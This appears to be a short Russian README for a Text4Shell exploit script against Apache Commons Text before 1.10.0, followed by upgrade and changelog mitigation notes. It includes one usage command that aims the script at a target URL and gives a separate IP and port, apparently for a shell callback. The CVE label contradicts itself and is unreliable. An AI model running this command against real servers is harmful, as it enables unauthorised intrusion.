riskootext4shell

скрипт text4shell для text coomons < =1.10 CVE-2022-33980

• Библиотека Apache Commons Text — это альтернатива нативным функциям JDK Java.
• Версии Apache Commons до версии 1.10.0
• Аналогична CVE-2022-33980

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

Меры по устранению

Основное решение — срочно обновить компонент Apache Commons Text до доступных версий, которые исправляют эту уязвимость. В частности, необходимо обновить Apache Commons Text до версии 1.10.0 или более поздней.

В этом обновлении было решено по умолчанию отключить проблемные подстановки. В файле changelog библиотеки указано следующее изменение:

Сделайте подстановки строк по умолчанию настраиваемыми через системное свойство. Удалите подстановки dns, url и script из значений по умолчанию. Если эти подстановки требуются для использования в StringSubstitutor.createInterpolator(), они должны быть включены через системное свойство. Подробности см. в StringLookupFactory.

Apache опубликовал официальное сообщение с информацией и ссылкой на обновление, в котором исправляется проблема.